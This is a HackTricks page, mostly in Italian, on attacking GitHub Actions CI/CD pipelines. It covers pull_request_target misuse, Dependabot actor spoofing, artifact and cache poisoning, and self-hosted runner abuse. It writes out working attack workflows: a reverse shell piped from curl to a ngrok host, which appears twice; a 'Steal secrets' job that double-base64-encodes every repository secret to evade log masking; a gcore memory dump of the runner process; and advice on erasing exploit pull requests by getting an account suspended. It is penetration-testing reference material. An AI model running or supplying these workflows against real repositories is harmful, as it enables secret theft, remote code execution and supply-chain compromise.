hacktricks-cloud/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Abuso di Github Actions

{{#include ../../../banners/hacktricks-training.md}}

Strumenti

The following tools are useful to find Github Action workflows and even find vulnerable ones:

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda
• https://github.com/zizmorcore/zizmor - Check also its checklist in https://docs.zizmor.sh/audits

Informazioni di base

In questa pagina troverai:

• Un riassunto di tutti gli impatti che un attaccante può causare ottenendo accesso a una Github Action
• Diverse modalità per ottenere accesso a un action:
• Avere i permessi per creare l'action
• Abusare dei trigger legati ai pull request
• Abusare di altre tecniche di accesso esterno
• Pivoting da un repo già compromesso
• Infine, una sezione sulle tecniche di post-exploitation per abusare di un action dall'interno (per causare gli impatti menzionati)

Sommario degli impatti

Per un'introduzione su Github Actions consulta le informazioni di base.

Se puoi eseguire codice arbitrario in GitHub Actions all'interno di un repository, potresti essere in grado di:

• Rubare secrets montati nella pipeline e abusare dei privilegi della pipeline per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
• Compromettere deployment e altri artifacts.
• Se la pipeline effettua deploy o memorizza asset, potresti alterare il prodotto finale, abilitando un supply chain attack.
• Eseguire codice in custom workers per abusare della potenza di calcolo e pivotare verso altri sistemi.
• Sovrascrivere il codice del repository, a seconda dei permessi associati al GITHUB_TOKEN.

GITHUB_TOKEN

This "secret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:

This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Warning

Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.

Puoi vedere i possibili permessi di questo token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Nota che il token scade dopo che il job è terminato.
Questi token assomigliano a: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Alcune cose interessanti che puoi fare con questo token:

{{#tabs }} {{#tab name="Merge PR" }}

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

{{#endtab }} {{#tab name="Approve PR" }}

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

{{#endtab }} {{#tab name="Create PR" }}

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

{{#endtab }} {{#endtabs }}

Caution

Nota che in diverse occasioni potrai trovare github user tokens inside Github Actions envs or in the secrets. Questi tokens possono darti più privilegi sul repository e sull'organizzazione.

Elenca i secrets nell'output di Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Ottieni reverse shell con secrets

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

È possibile verificare i permessi assegnati a un Github Token nei repository di altri utenti controllando i log delle actions:

Esecuzione consentita

Note

Questo sarebbe il modo più semplice per compromettere Github actions, poiché questo scenario presuppone che tu abbia accesso a creare un nuovo repo nell'organizzazione, oppure abbia privilegi di scrittura su un repository.

Se ti trovi in questo scenario puoi semplicemente consultare i Post Exploitation techniques.

Esecuzione dalla creazione del repository

Se i membri di un'organizzazione possono creare nuovi repos e tu puoi eseguire github actions, puoi creare un nuovo repo e rubare i secrets impostati a livello di organizzazione.

Esecuzione da un nuovo branch

Se puoi creare un nuovo branch in un repository che contiene già una Github Action configurata, puoi modificarla, caricare il contenuto e poi eseguire quell'action dal nuovo branch. In questo modo puoi esfiltrare secrets a livello di repository e organizzazione (ma devi sapere come si chiamano).

Warning

Any restriction implemented only inside workflow YAML (for example, on: push: branches: [main], job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.

Puoi rendere l'action modificata eseguibile manualmente, quando viene creata una PR o quando viene pushato del codice (a seconda di quanto rumore vuoi fare):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

---

Esecuzione da fork

Note

Ci sono diversi trigger che potrebbero permettere a un attacker di eseguire una Github Action di un altro repository. Se quelle action triggerabili sono mal configurate, un attacker potrebbe riuscire a comprometterle.

pull_request

Il workflow trigger pull_request eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: di default, se è la prima volta che stai collaborando, qualche maintainer dovrà approvare la run del workflow:

Note

Poiché la limitazione di default vale per i contributor alla prima esperienza, potresti contribuire correggendo un bug/typo valido e poi inviare altre PR per abusare dei tuoi nuovi privilegi pull_request.

Ho testato questo e non funziona: Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.

Inoltre, di default vengono bloccati i permessi di scrittura e l'accesso ai secrets al repository di destinazione come indicato nei docs:

With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

Un attacker potrebbe modificare la definizione della Github Action per eseguire comandi arbitrari e aggiungere action arbitrarie. Tuttavia, non sarà in grado di rubare i secrets o sovrascrivere il repo a causa delle limitazioni menzionate.

Caution

Sì, se l'attacker cambia nella PR la github action che verrà triggerata, la sua Github Action sarà quella usata e non quella del repo di origine!

Poiché l'attacker controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul GITHUB_TOKEN, un attacker potrebbe per esempio uploadare artifacts maligni.

pull_request_target

Il workflow trigger pull_request_target ha permessi di scrittura sul repository di destinazione e accesso ai secrets (e non richiede approvazione).

Nota che il workflow trigger pull_request_target gira nel contesto base e non in quello fornito dalla PR (per non eseguire codice non affidabile). Per maggiori dettagli su pull_request_target check the docs.
Inoltre, per informazioni su questo uso specifico pericoloso consulta questo github blog post.

Potrebbe sembrare che, dato che il workflow eseguito è quello definito nella base e non in quello della PR, sia sicuro usare pull_request_target, ma ci sono alcuni casi in cui non lo è.

E questo avrà accesso ai secrets.

workflow_run

Il trigger workflow_run permette di eseguire un workflow da un altro quando questo è completed, requested o in_progress.

In questo esempio, un workflow è configurato per essere eseguito dopo che il workflow separato "Run Tests" è completato:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

Questo tipo di workflow può essere attaccato se dipende da un workflow che può essere triggered da un utente esterno tramite pull_request o pull_request_target. Un paio di esempi vulnerabili possono essere trovati in questo blog. Il primo consiste nel workflow attivato da workflow_run che scarica il codice dell'attaccante: ${{ github.event.pull_request.head.sha }}.
Il secondo consiste nel passare un artifact dal codice untrusted al workflow workflow_run e usare il contenuto di questo artifact in modo che lo renda vulnerable to RCE.

workflow_call

TODO

TODO: Verificare se quando eseguito da un pull_request il codice usato/scaricato è quello dell'origin o del forked PR

Abuso delle esecuzioni da fork

Abbiamo menzionato tutti i modi in cui un attaccante esterno può riuscire a far eseguire un github workflow; ora vediamo come queste esecuzioni, se configurate in modo errato, possano essere abusate:

Esecuzione di checkout non affidabile

Nel caso di pull_request, il workflow verrà eseguito nel contesto della PR (quindi eseguirà il codice maligno della PR), ma qualcuno deve autorizzarlo prima e verrà eseguito con alcune limitazioni.

Nel caso di un workflow che usa pull_request_target or workflow_run e che dipende da un workflow che può essere triggerato da pull_request_target o pull_request, verrà eseguito il codice del repo originale, quindi l'attaccante non può controllare il codice eseguito.

Caution

Tuttavia, se l'action ha un explicit PR checkout che prende il codice dalla PR (e non dalla base), userà il codice controllato dall'attaccante. Per esempio (controlla la linea 12 dove viene scaricato il codice della PR):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Il codice potenzialmente untrusted viene eseguito durante npm install o npm build poiché gli script di build e i packages referenziati sono controllati dall'autore della PR.

Warning

Un github dork per cercare action vulnerabili è: event.pull_request pull_request_target extension:yml; tuttavia, ci sono diversi modi per configurare i job in modo sicuro anche se l'action è configurata in modo insicuro (ad esempio usando condizionali su chi è l'actor che genera la PR).

Context Script Injections

Nota che esistono certi github contexts i cui valori sono controllati dall'utente che crea la PR. Se la github action usa quei dati per eseguire qualcosa, ciò potrebbe portare a arbitrary code execution:

{{#ref}} gh-actions-context-script-injections.md {{#endref}}

GITHUB_ENV Script Injection

Dalla documentazione: puoi rendere una variabile d'ambiente disponibile ai passaggi successivi in un job del workflow definendo o aggiornando la variabile d'ambiente e scrivendola nel file di ambiente GITHUB_ENV.

Se un attaccante potesse iniettare qualsiasi valore in questa variabile di ambiente, potrebbe inserire variabili d'ambiente che potrebbero eseguire codice nei passaggi successivi come LD_PRELOAD o NODE_OPTIONS.

Per esempio (this e this), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto nella variabile di ambiente GITHUB_ENV. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:

Dependabot e altri bot affidabili

Come indicato in this blog post, molte organizzazioni hanno una Github Action che merge qualsiasi PR da dependabot[bot] come in:

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Questo è un problema perché il campo github.actor contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. E ci sono diversi modi per far sì che l'utente dependabot[bot] modifichi una PR. Per esempio:

• Fork del repository vittima
• Aggiungi il payload malevolo alla tua copia
• Abilita Dependabot sul tuo fork aggiungendo una dependency obsoleta. Dependabot creerà una branch che sistema la dependency con codice malevolo.
• Apri una Pull Request al repository vittima da quella branch (la PR sarà creata dall'utente quindi non succederà ancora nulla)
• Poi, l'attaccante ritorna alla PR iniziale che Dependabot ha aperto nel suo fork ed esegue @dependabot recreate
• Successivamente, Dependabot esegue alcune azioni in quella branch, che modificano la PR sul repository vittima, il che rende dependabot[bot] l'actor dell'ultimo evento che ha attivato il workflow (e quindi il workflow viene eseguito).

Proseguendo, cosa succede se, invece di un merge, la Github Action contenesse una command injection come in:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Il post originale propone due opzioni per abusare di questo comportamento; quella descritta qui è la seconda:

• Forkare il repository della vittima e abilitare Dependabot con una dipendenza obsoleta.
• Creare un nuovo branch con il codice malevolo di shell injection.
• Cambiare il branch di default del repo su quello.
• Creare una PR da questo branch verso il repository vittima.
• Eseguire @dependabot merge nella PR che Dependabot ha aperto nel suo fork.
• Dependabot unirà i suoi cambiamenti nel branch di default del tuo repository forkato, aggiornando la PR nel repository vittima, facendo ora sì che dependabot[bot] sia l'attore dell'ultimo evento che ha attivato il workflow e usando un nome di branch malevolo.

Github Actions di terze parti vulnerabili

dawidd6/action-download-artifact

Come menzionato in this blog post, questa Github Action permette di accedere ad artifact provenienti da workflow diversi e persino da altri repository.

Il problema è che se il parametro path non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi utilizzati o anche eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.

Esempio di workflow vulnerabile:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Questo può essere attaccato con il seguente workflow:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

---

Altri Accessi Esterni

Deleted Namespace Repo Hijacking

Se un account cambia il suo nome, un altro utente potrebbe registrare un account con quel nome dopo un certo periodo. Se un repository aveva meno di 100 stars prima del cambio di nome, Github permetterà al nuovo utente registrato con lo stesso nome di creare un repository with the same name as the one deleted.

Caution

Quindi se un action sta usando un repo di un account inesistente, è ancora possibile che un attacker possa creare quell'account e compromise l'action.

Se altri repository stavano usando dependencies from this user repos, an attacker will be able to hijack them Here you have a more complete explanation: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

---

Repo Pivoting

Note

In questa sezione parleremo di tecniche che permetterebbero di pivot from one repo to another supponendo che abbiamo qualche tipo di accesso sul primo (vedi la sezione precedente).

Cache Poisoning

Una cache viene mantenuta tra wokflow runs in the same branch. Questo significa che se un attacker compromise un package che viene poi memorizzato nella cache e downloaded ed eseguito da un more privileged workflow, sarà in grado di compromise anche quel workflow.

{{#ref}} gh-actions-cache-poisoning.md {{#endref}}

Artifact Poisoning

I workflow possono usare artifacts from other workflows and even repos, se un attacker riesce a compromise il Github Action che uploads an artifact che viene poi utilizzato da un altro workflow, potrebbe compromise the other workflows:

{{#ref}} gh-actions-artifact-poisoning.md {{#endref}}

---

Post Exploitation from an Action

Github Action Policies Bypass

Come commentato in this blog post, anche se un repository o organization ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente fare download (git clone) di un action all'interno del workflow e poi referenziarlo come local action. Poiché le policies non influenzano i percorsi locali, the action will be executed without any restriction.

Esempio:

on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

Accesso ad AWS e GCP via OIDC

Check the following pages:

{{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}}

{{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}}

Accesso ai secrets

Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai secrets:

• Se il secret o token è impostato come variabile d'ambiente, può essere recuperato direttamente dall'ambiente usando printenv.

Elencare i secrets nell'output di Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Ottieni reverse shell con secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Se il secret è usato direttamente in un'espressione, lo script shell generato viene memorizzato su disco ed è accessibile.

cat /home/runner/work/_temp/*

- Per una JavaScript action i secrets vengono inviati tramite environment variables
- ```bash
ps axe | grep node

• Per una custom action, il rischio può variare a seconda di come un programma sta usando il secret che ha ottenuto dall'argument:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

• Enumerare tutti i secrets tramite il secrets context (collaborator level). Un contributor con write access può modificare un workflow su qualsiasi branch per dumpare tutti i secrets del repository/org/environment. Usa double base64 per evadere il log masking di GitHub e decodifica localmente:

name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

Decodifica localmente:

echo "ZXdv...Zz09" | base64 -d | base64 -d

Suggerimento: per stealth durante i test, cripta prima di stampare (openssl è preinstallato sui GitHub-hosted runners).

Abuso dei Self-hosted runners

Il modo per scoprire quali GitHub Actions vengono eseguite su infrastrutture non-GitHub è cercare runs-on: self-hosted nella configurazione yaml delle GitHub Actions.

Self-hosted runners potrebbero avere accesso a informazioni sensibili aggiuntive, ad altri sistemi di rete (endpoint vulnerabili nella rete? metadata service?) oppure, anche se isolato e distrutto, più di una action potrebbe essere eseguita contemporaneamente e quella malevola potrebbe rubare i secrets dell'altra.

Nei self-hosted runners è anche possibile ottenere i secrets from the _Runner.Listener_** process** che conterrà tutti i secrets dei workflows in qualsiasi step dumpando la sua memoria:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Check this post for more information.

Registro immagini Docker di Github

È possibile creare Github Actions che eseguono il build e memorizzano un'immagine Docker all'interno di Github.
Un esempio è disponibile nel seguente elemento espandibile:

Github Action Build & Push Docker Image

```yaml [...]

• name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

• name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

• name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

• name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Come puoi vedere nel codice precedente, il registry di Github è ospitato in **`ghcr.io`**.

Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image utilizzando un personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Poi, l'utente potrebbe cercare leaked secrets in the Docker image layers:

{{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}}

Informazioni sensibili nei log di Github Actions

Anche se Github prova a detect secret values nei log delle actions e a avoid showing questi valori, altri dati sensibili che potrebbero essere stati generati durante l'esecuzione dell'action non verranno nascosti. Per esempio, un JWT firmato con un secret value non verrà nascosto a meno che non sia specifically configured.

Coprire le tue tracce

(Technique from here) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. Su GitHub, per default, non possiamo cancellare una PR dall'internet, ma c'è un trucco. Per gli account Github che vengono suspended da Github, tutte le loro PRs vengono automaticamente deleted e rimosse dall'internet. Quindi, per nascondere la tua attività devi o far sì che il tuo GitHub account venga suspended o che il tuo account venga flagged. Questo nasconderebbe tutte le tue attività su GitHub da internet (basicamente rimuovere tutte le tue exploit PR)

Un'organizzazione su GitHub è molto proattiva nel reportare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e si assicureranno che il tuo account sia suspended entro 12 hours :p e così hai reso il tuo exploit invisible su github.

Warning

L'unico modo per un'organizzazione per capire di essere stata presa di mira è controllare i log di GitHub dal SIEM, dato che dalla GitHub UI la PR verrebbe rimossa.

Riferimenti

• GitHub Actions: A Cloudy Day for Security - Part 1

{{#include ../../../banners/hacktricks-training.md}}